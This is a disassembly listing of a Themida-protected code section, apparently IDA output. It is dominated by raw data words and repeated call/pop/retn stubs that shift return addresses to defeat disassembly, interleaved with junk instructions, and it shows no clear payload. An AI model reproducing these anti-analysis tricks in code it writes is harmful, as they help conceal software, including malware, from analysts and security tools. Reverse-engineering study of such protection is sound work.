		dd 4244481h, 18h, 5AC35343h, 0C3DD347Dh, 6A05C083h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2034C351h, 917644A2h, 0E930AB78h, 9,	33624131h, 1A7D7823h
		dd 0BE6690C3h, 5050E2F3h, 72BF6652h, 66310FBAh,	585AF38Bh
		dd 2D8D8990h, 6A060F29h, 4387BF00h, 6A485Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FAC35242h, 80491A83h
		dd 0B8F0F04h, 0E9000000h, 6, 1AC393E0h,	95FFAF09h, 60F348Dh
		dd 3461BD8Bh, 9D8D060Fh, 612985Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0CBC35141h,	93DC7A5Bh, 8BA9831Fh
		dd 6AD3FFF3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0B5D6C357h, 0C5E9FBFEh, 16D1B529h
		dd 85FF060Fh, 60F2459h,	1AB98589h, 800F060Fh, 6, 0B35BD89h
		dd 18E9060Fh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 612ED06h
		push	0
		push	edx
		call	sub_589BE2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589BE2	proc near		; CODE XREF: Themida_:00589BDAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_589BE2	endp

; ---------------------------------------------------------------------------
		add	eax, 60E27FE9h
		imul	eax, [ecx-1244239h], 38h
		mov	esi, [ebp+60F30ADh]
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jbe	loc_589D01
		add	[ebp+60F0A6Dh],	ecx
		mov	ebx, [ebp+60F134Dh]
		mov	[ebp+60F0D59h],	edx
		and	ebx, 100h
		mov	edi, 679DDFDh
		or	ebx, ebx
		jnz	loc_589CAD
		push	0
		push	ebp
		call	sub_589C44
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589C44	proc near		; CODE XREF: Themida_:00589C3Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_589C44	endp

; ---------------------------------------------------------------------------
		popf
		cmc
		cmp	dword ptr [ebp+612EB40h], 0
		jz	loc_589C72
		mov	[ebp+60F079Dh],	eax
		jmp	loc_589CE7
; ---------------------------------------------------------------------------
		mov	di, 5307h


loc_589C72:				; CODE XREF: Themida_:00589C5Dj
		mov	dword ptr [ebp+612EB40h], 1
		jmp	loc_589CE7
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_589C8C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589C8C	proc near		; CODE XREF: Themida_:00589C84p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_589C8C	endp

; ---------------------------------------------------------------------------
		dd 0BE9A8h, 13310000h, 0D62B1CCCh, 874C36A1h
; ---------------------------------------------------------------------------
		cli


loc_589CAD:				; CODE XREF: Themida_:00589C33j
		mov	dword ptr [ebp+612EB40h], 0
		push	0
		push	eax
		call	sub_589CC2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589CC2	proc near		; CODE XREF: Themida_:00589CBAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_589CC2	endp

; ---------------------------------------------------------------------------
		xor	[eax+74h], bl
		and	[edx+3F16970Eh], ebx
		or	[ebp+60F2EE5h],	ecx
		mov	[ebp+60F1055h],	edi


loc_589CE7:				; CODE XREF: Themida_:00589C69j
					; Themida_:00589C7Cj
		lea	ebx, [ebp+60F134Dh]
		and	dword ptr [ebx], 0FFFFFEFFh
		pusha
		mov	[ebp+60F1621h],	eax
		mov	esi, [ebp+60F0D1Dh]
		popa


loc_589D01:				; CODE XREF: Themida_:00589C0Ej
		mov	bx, ds
		push	0
		push	edi
		call	sub_589D0F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D0F	proc near		; CODE XREF: Themida_:00589D07p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_589D0F	endp

; ---------------------------------------------------------------------------
		mov	cl, 0F6h
		retn
; ---------------------------------------------------------------------------
		dw 0F04h
		dd 7284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 3DF44354h, 8CC93F05h, 0BE9h, 6570A600h
		dd 8C425529h, 0FD98B9Ah, 344995FFh, 0F60060Fh, 18Fh, 8B66F500h
		dd 669061C3h, 502EF2BFh, 6A90F88Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7484C355h
		dd 816657BDh, 0E9168BC6h, 325h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 46C35646h, 7BC77486h, 608E0F72h
		dd 39BD8927h, 0B0060F0Bh, 998D8900h, 0F060F2Bh,	70E6F6BFh
		dd 0F71E4F8h, 682h, 0D5BD8B00h,	0F060F00h, 6AD8B6h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0E257A9C3h, 7C2C5908h, 0BE66C766h, 0B58B8695h, 60F29D1h
		dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0C7652E27h, 0DDC29642h, 9E972F1h
		dd 33000000h, 0BD73A3Dh, 93237C17h, 3205B589h, 0ABBF060Fh
		dd 8B022CFBh, 0CDB589C3h, 0C1060F28h, 8B6604E8h, 0E2F766F8h
		dd 521BD09h, 0D82B060Fh, 0BE8h,	6440BA00h, 63065D60h, 0EE13EBBAh
		dd 0FE9505Eh, 69000000h, 356A3494h, 0DA70B588h,	0DC42058Eh
		dd 1C89429Bh, 0B5296024h, 60F2881h, 0FF61F08Bh,	0F00FDB5h
		dd 6DBD8906h, 0FF060F33h, 0F345195h, 0F1B70F06h, 70E600B0h
		dd 0DD9589h, 810F060Fh,	6, 2ACD9529h, 71E4060Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DC35040h, 0FA8B4ED1h
		dd 830F613Ch, 1C9h, 247D9589h, 0B52B060Fh, 60F1E39h, 8BD8B60Fh
		dd 6BAF2h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0D2F998C3h, 0B79314D0h, 360C38Bh
		dd 0F1349BDh, 0CAB70F06h, 4E8C161h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 4BC35343h, 937DF387h, 64DCC54Eh
		dd 27D9B58Bh, 0F766060Fh, 6AD82BE2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4786C353h
		dd 692041FFh, 0F68134F2h, 0AA8B5DFh, 5B58B58h, 2B060F2Bh
		dd 1A880FD8h, 8B000001h, 0F1585B5h, 7B906h, 81660000h
		dd 66CAD5F7h, 5E01C681h, 3B00C183h, 0FA860FD9h,	8B000000h
		dd 0F1E61B5h, 0D98C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 7EC35646h, 0EDBFDA26h, 8B2CB07Fh, 4C1F6F9h
		dd 0BC840Fh, 95890000h,	60F135Dh, 19950960h, 8B060F31h
		dd 0F2A6DB5h, 95FF6106h, 60F3449h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 10C35343h, 0FD5FE87h, 884h
		dd 95895700h, 60F245Dh,	5157605Eh, 5B615859h, 1C9D8589h
		dd 0C32B060Fh, 6860Fh, 0BD890000h, 60F13C1h, 8343Dh, 4F860F00h
		dd 0E9000000h, 11h, 0EBE3B72Dh,	89AA785Ah, 0F373ABE9h
		dd 265D4089h, 3BE9BFh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0FECB52C3h, 0BE9h, 46DE1A00h
		dd 506D9C35h, 94BF216h,	1EC9BD8Bh, 0C08B060Fh, 219EACBFh
		dd 8BC38B7Dh, 85C7FCD8h, 60F0019h, 58079FD1h, 0EDBD0351h
		dd 5F060F24h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0BB9436C3h, 1A5C996h, 8BAD2065h
		dd 0F0CA1B5h, 0FDBD8106h, 0D0060F00h, 0F000007h, 4585h
		dd 8E800h, 6FD00000h, 4F8F8299h, 870FFCDDh, 5, 41D277BEh
		dd 85FF5F14h, 60F00FDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0E7C35141h, 0FF6967E5h, 0BD5EEE81h, 0B5FF2380h
		dd 60F00FDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	84C35040h, 7DB4CCABh, 95FFF3FEh, 60F3451h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 39C35545h, 0B58B955Eh
		dd 60F32E9h, 0DC601EBFh, 0B58B906Fh, 60F1949h, 8BF6B70Fh
		dd 0F1D45BDh, 0D6816606h, 6A4C5Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 317B9CC3h, 8130A76Eh
		dd 4BED59CEh, 0B523524Bh, 60F2E55h, 0C5B58B5Eh,	8B060F1Ah
		dd 0F2265B5h, 0B70F6006h, 57D281DAh, 663FBCB7h,	0E5C1D881h
		dd 6AF98B61h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 7661C350h, 0BE6AEFB4h,	0C91037EBh
		dd 34DF8166h, 17870F66h, 0F000000h, 0B80h, 6E900h, 2B810000h
		dd 17432545h, 779BD8Bh,	6A060Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 696F20C3h, 840F37h, 23000000h
		dd 0F0A39B5h, 52BE6606h, 56006A33h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 85C78110h, 6611244Bh
		dd 931D0BEh, 0F25098Dh,	0F90DE906h, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 460AE8C3h
		dd 0D5C0AFB9h, 8BC3EC74h, 0FB66BEC1h, 0BE663AD1h, 4EBC9BEh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58A2FF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A2FF	proc near		; CODE XREF: Themida_:0058A2F7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58A2FF	endp

; ---------------------------------------------------------------------------
		db 4
		dd 9531E41Bh, 60F1835h,	1461858Dh, 6A060Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 508638C3h
		dd 5840Fh, 89BE0000h, 89689B56h, 96BE2404h, 6A07A371h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 9C9847D9h, 3031826h, 8166006Ah, 8DFC6ED6h
		dd 12F5A085h, 0EDBD8906h, 83060F1Bh, 50F505C0h,	4895F51h
		dd 69B58B24h, 6A060F30h, 6AF98B00h, 0FFFE8B00h,	0F348D95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 7C3611CEh, 3F71ED0h, 5E9D8D50h, 6A061298h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 9C2DC357h, 0CA7726A5h, 24848F31h,	13E9h
		dd 1E60CF00h, 0CEFEBE07h, 0DECD67B9h, 362EE697h, 3B114D23h
		dd 0D3FFF38Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	12C35141h, 0C99529F5h, 0FF060F2Eh, 0F245985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0EF5E332Fh, 0C6F109F4h, 3125B58Bh, 6660060Fh, 0B63831B8h
		dd 0DEE9614Eh, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 612F5AAh
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jbe	loc_58A612
		push	0
		push	ebx
		call	sub_58A496
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A496	proc near		; CODE XREF: Themida_:0058A48Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58A496	endp

; ---------------------------------------------------------------------------
		dec	ecx
		inc	edi
		mov	[ebp+60F17BDh],	edi
		jnz	$+6
		mov	ebx, [ebp+60F2551h]
		push	0
		push	esi
		call	sub_58A4C5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A4C5	proc near		; CODE XREF: Themida_:0058A4BDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58A4C5	endp

; ---------------------------------------------------------------------------
		db 0BCh, 81h, 0E3h
		dd 100h, 551401BEh, 0F38B6622h,	850FDB0Bh, 0A4h, 161DBD89h
		dd 0BD83060Fh, 612F426h, 5D840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 2BBCC356h, 8FD6F781h, 8D896BF1h, 60F00B9h, 0A2E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0ACE58AD8h, 0BE9h, 3E455A00h, 0AFDE55DDh, 0AC8C1C9Fh
		dd 0F42685C7h, 10612h, 0D7810000h, 7B3FEBA1h, 6850Fh, 0BD030000h
		dd 60F001Dh, 52E9h, 0EE900h, 65350000h,	0D11384DCh, 0E8886214h
		dd 0D531D0B5h, 0F42685C7h, 612h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0EB8474C3h
		dd 17758875h, 0B5BD8B36h, 89060F1Ch, 0F15D585h,	0D8E68106h
		dd 8D2A9D83h, 0F25519Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0ECA5251h, 71B50157h
		dd 5E060F26h, 0FEFF2381h, 860FFFFFh, 0Ah, 4860Fh, 0BF660000h
		db 36h,	4Ch
; ---------------------------------------------------------------------------


loc_58A612:				; CODE XREF: Themida_:0058A485j
		mov	bx, ds
		jle	loc_58A621
		sub	edi, 69CAF158h


loc_58A621:				; CODE XREF: Themida_:0058A615j
		test	bl, 4
		jz	loc_58A6D5
		push	0
		push	ebx
		call	sub_58A635
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A635	proc near		; CODE XREF: Themida_:0058A62Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_58A635	endp

; ---------------------------------------------------------------------------
		db 5Ah,	0Bh, 48h
; ---------------------------------------------------------------------------
		jmp	loc_58A658
; ---------------------------------------------------------------------------
		db 0ECh, 0B5h, 0CCh
		dd 27CF5B1Eh, 0EC42F5EAh
; ---------------------------------------------------------------------------


loc_58A658:				; CODE XREF: Themida_:0058A648j
		call	dword ptr [ebp+60F3449h]
		push	0
		push	ecx
		call	sub_58A669
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A669	proc near		; CODE XREF: Themida_:0058A661p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58A669	endp

; ---------------------------------------------------------------------------
		db 0FDh, 0DEh, 0C7h
		dd 80B36335h, 30E5BD8Bh, 5090060Fh, 8E857h, 3D240000h
		dd 93487BF5h, 13E8246Bh, 0D1000000h, 0D9CF4D49h, 1443343Bh
		dd 29F122C4h, 2D186079h, 5E5F25DBh, 6A905Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0FCD4C8C3h
		dd 65255B9h
; ---------------------------------------------------------------------------
		stosb


loc_58A6D5:				; CODE XREF: Themida_:0058A624j
		jmp	loc_58AB4D
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+60F1779h],	edx
		jmp	loc_58A6FA
; ---------------------------------------------------------------------------
		dw 367h
		dd 0D65B1740h, 3C4ED891h, 4D7A5221h, 16666D02h
		db 0B8h, 0D1h
; ---------------------------------------------------------------------------


loc_58A6FA:				; CODE XREF: Themida_:0058A6E1j
		popa
		mov	si, 61D6h
		mov	al, 0
		push	0
		push	eax
		call	sub_58A70C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A70C	proc near		; CODE XREF: Themida_:0058A704p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_58A70C	endp

; ---------------------------------------------------------------------------
		dd 273D0EE0h, 6890FE8h,	8B000000h, 0F2805BDh, 6A70E606h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0AEDEC353h, 664E550Dh, 0E4273EBEh, 50006A71h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0CAE7C998h, 0D8B60F01h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0BAC35242h, 19819D89h, 6BA060Fh, 0F000000h
		dd 0C38BF2BFh, 2FE1B58Bh, 0E8C1060Fh, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 50B4C178h, 17699529h, 0F766060Fh, 53006AE2h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0EAF4BA02h
		dd 66267E44h, 7149D681h, 6AD82Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E38C81C3h, 1E5C492Eh
		dd 8E9h, 0F92DB600h, 0B95DA55Dh, 8B665014h, 241C89FAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 24C35747h
		dd 7A730406h, 750A2184h, 0AE8437BEh, 0FDB5FF29h, 66060F00h
		dd 65C3D681h, 345195FFh, 8D09060Fh, 60F1E79h, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0B261F5C3h, 5E123514h, 6BBF6638h, 0E970E6A3h, 7, 0A6A68401h
		dd 0E4406420h, 51006A71h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0C1CBBB17h, 0F613C05h
		dd 27883h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B529A91Fh, 60F280Dh, 0FD8B60Fh
		dd 6BAF7BFh, 66000000h,	9A81CF81h, 14E9C38Bh, 60000000h
		dd 0AD3AF38Eh, 527C9827h, 54F3D087h, 3DE28AEFh,	8B811153h
		dd 4E8C1F0h, 2FF5B58Bh,	0F766060Fh, 0DD8589E2h,	0E8060F31h
		dd 0Eh,	7049AAB8h, 24F6438Eh, 0DACCB176h, 0BF66DE62h, 2B5EB0C0h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 9D4901A1h, 0BA900ADh, 58F8E671h,	28C6BF66h
		dd 880FD82Bh, 1C9h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 53C35040h, 6A05A685h,	7B91Ch,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 53C31AC3h, 8310909Fh, 0D93B00C1h, 177860Fh, 0F520000h
		dd 586h, 0E7816600h, 665E6071h,	6AD98Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0C6D3DDC3h
		dd 0DE9h, 4B368600h, 54117C2Dh,	97C7E005h, 0C1F60F69h
		dd 29840F04h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2AFEC351h, 62860C00h
		dd 8B02ABD2h, 0F1789B5h, 13E906h, 79950000h, 0B0FA5E84h
		dd 0E7F531F0h, 588C8866h, 7FE36B50h, 4995FF3Ch,	6A060F34h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 6BFDC353h, 0EF89B81Eh, 15DF8166h,	0CBBE66C6h
		dd 6A5B1Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0B111A3C3h, 15F1BD8Bh, 8D89060Fh,	60F0561h
		dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 2074C9C3h, 81D56BE2h, 1FF896E7h, 11E874h
		dd 7B9A0000h, 314BDA47h, 125C9D5Eh, 0ED373EDFh,	899C7E7Ah
		dd 0F0B119Dh, 343D5E06h, 0F000008h, 3B86h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 4A8C983h, 17730F2Dh,	9E8h, 2FC4FF00h, 195556B4h, 0BE668BDEh
		dd 0E95F1FD6h, 5, 8B66C08Bh
; ---------------------------------------------------------------------------
		icebp


loc_58AB4D:				; CODE XREF: Themida_:loc_58A6D5j
		mov	eax, ebx
		mov	ebx, eax
		mov	[ebp+60F28B9h],	edi
		mov	dword ptr [ebp+60F134Dh], 5235FB53h
		jns	loc_58AB6C
		add	di, 5685h


loc_58AB6C:				; CODE XREF: Themida_:0058AB61j
		mov	eax, eax
		push	ecx
		mov	[ebp+60F16DDh],	eax
		pop	esi
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jnz	loc_58AB9E
		jmp	loc_58AB92
; ---------------------------------------------------------------------------
		sar	bl, cl
		or	eax, 22137FE0h


loc_58AB92:				; CODE XREF: Themida_:0058AB86j
		inc	dword ptr [ebp+60F00FDh]
		mov	[ebp+60F2321h],	eax


loc_58AB9E:				; CODE XREF: Themida_:0058AB80j
		push	dword ptr [ebp+60F00FDh]
		push	0
		push	eax
		call	sub_58ABAF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ABAF	proc near		; CODE XREF: Themida_:0058ABA7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_58ABAF	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 505A3E0h, 0F707A37h,	186h, 8509F800h, 60F22C1h, 345195FFh
		dd 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 4EA252C3h, 3CC8A546h, 8D29521Bh, 60F3231h
		dd 6A905Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 73CE58C3h, 9B0D4CA4h, 4A33BE60h, 0F60535Fh
		dd 88h,	0DFDB8100h, 0F86FACFBh,	459D8961h, 61060F18h, 18B0Fh
		dd 0E9F90000h, 7, 69BD7EFDh, 35027B5h, 0F1665BDh, 0BB666006h
		dd 8D8BB298h, 60F2949h,	89B58960h, 33060F24h, 0F009585h
		dd 61616006h, 0D5B50361h, 0E9060F13h, 10h, 23E0C1ACh, 944DAC57h
		dd 0C8F215C8h, 0D2FC57B3h, 8166FA8Bh, 0E800F6D6h, 0Dh
		dd 6A626E72h, 378125D3h, 889955D6h, 0DDB58BC9h,	5E060F30h
		dd 0FC3A93BEh, 50006A01h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 9E16A4EDh, 0BE8EDB3h
		dd 0B7000000h, 9A328D82h, 271CA8B1h, 0E781ED11h, 32E16F9Ah
		dd 8C9BD8Bh, 895E060Fh,	0F218D85h, 8266BF06h, 85314DD2h
		dd 60F1411h, 30F5BD8Bh,	5CE9060Fh, 6AFFFFF7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0DBD8C355h, 663103A6h, 41B589A2h, 0E9060F2Bh, 0Dh, 0C04AC2E5h
		dd 0E582AA6h, 4D7100A5h, 0FC18B07h, 4EBF7B7h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+60F2939h]
		jmp	loc_58AD68
; ---------------------------------------------------------------------------
		stc
		mov	cl, [ebx+edi*4-52h]


loc_58AD68:				; CODE XREF: Themida_:0058AD5Ej
		lea	eax, [ebp+60F1461h]
		push	0
		push	ebp
		call	sub_58AD79
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AD79	proc near		; CODE XREF: Themida_:0058AD71p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_58AD79	endp

; ---------------------------------------------------------------------------
		db 1Dh,	84h, 0B2h
		dd 5B56C239h, 31B89507h, 0F32E9B5h, 50609006h, 8C0F52h
		dd 0F000000h, 5A5E5631h, 61D68B58h, 66605150h, 0EE9CA8Bh
		dd 0C5000000h, 0EE7F057Dh, 9304B7Bh, 5DC7485h, 905E61B8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F0C35242h
		dd 891EB576h, 0F0091B5h, 6DBD8906h, 6A060F0Ah, 0FBB70F00h
		dd 13C5B529h, 6A060Fh, 33F9B70Fh, 0F0791BDh, 99858D06h
		dd 6A061300h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E959C355h, 11h, 98E20752h, 1027F571h
		dd 9158C319h, 2EF6FD4Ah, 5C08386h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0D7C35343h,	6833E1A2h, 0C3A563E7h
		dd 14E9C4h, 6D20000h, 0E303382Ah, 0CC89597h, 2864884Eh
		dd 0E6C55807h, 9589B2ACh, 60F293Dh, 12E890h, 1B4D0000h
		dd 8D3F294Fh, 821A320Dh, 0DDB05D52h, 3E37F9A7h,	12E9h
		dd 819FCA00h, 0C7E413E9h, 4BED4EEBh, 0AE6ABF72h, 5F710C21h
		dd 0FE89050h, 26000000h, 98B6645Eh, 0B4D0B2E5h,	4ECC8551h
		dd 880FCC48h, 0
; ---------------------------------------------------------------------------
		pop	esi
		stc
		push	0
		movzx	edi, cx
		push	0
		push	0
		push	eax
		call	sub_58AEE8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AEE8	proc near		; CODE XREF: Themida_:0058AEE0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58AEE8	endp

; ---------------------------------------------------------------------------
		pop	es
		dec	ebp
		and	esi, [ebp+60F07E9h]
		push	ecx
		add	[ebp+60F1979h],	ecx
		pop	esi
		call	dword ptr [ebp+60F348Dh]
		lea	ebx, [ebp+612985Eh]
		push	0
		push	ebx
		call	sub_58AF1F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AF1F	proc near		; CODE XREF: Themida_:0058AF17p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_58AF1F	endp

; ---------------------------------------------------------------------------
		adc	[eax-51h], dh
		mov	edi, 15D171CDh
		call	ebx
		mov	di, ax
		inc	dword ptr [ebp+60F2459h]
		push	0
		push	ebx
		call	sub_58AF4D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AF4D	proc near		; CODE XREF: Themida_:0058AF45p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_58AF4D	endp

; ---------------------------------------------------------------------------
		db 0D4h, 4Fh, 48h
		dd 0E984C737h, 7F5h, 0E8h, 0ED815D00h, 61300A3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 67C35747h, 0BD8B9028h
		dd 60F245Dh, 1E05B58Bh,	0BD81060Fh, 60F00FDh, 7D0h, 1A3860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0BE742FC3h, 1800Fh, 33FC0000h, 0F08C9BDh
		dd 0C19D8B06h, 6A060F34h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 2869C356h, 918DFB52h
		dd 0A59D29A5h, 81060F1Dh, 100E3h, 14E800h, 450F0000h, 0C93C36D1h
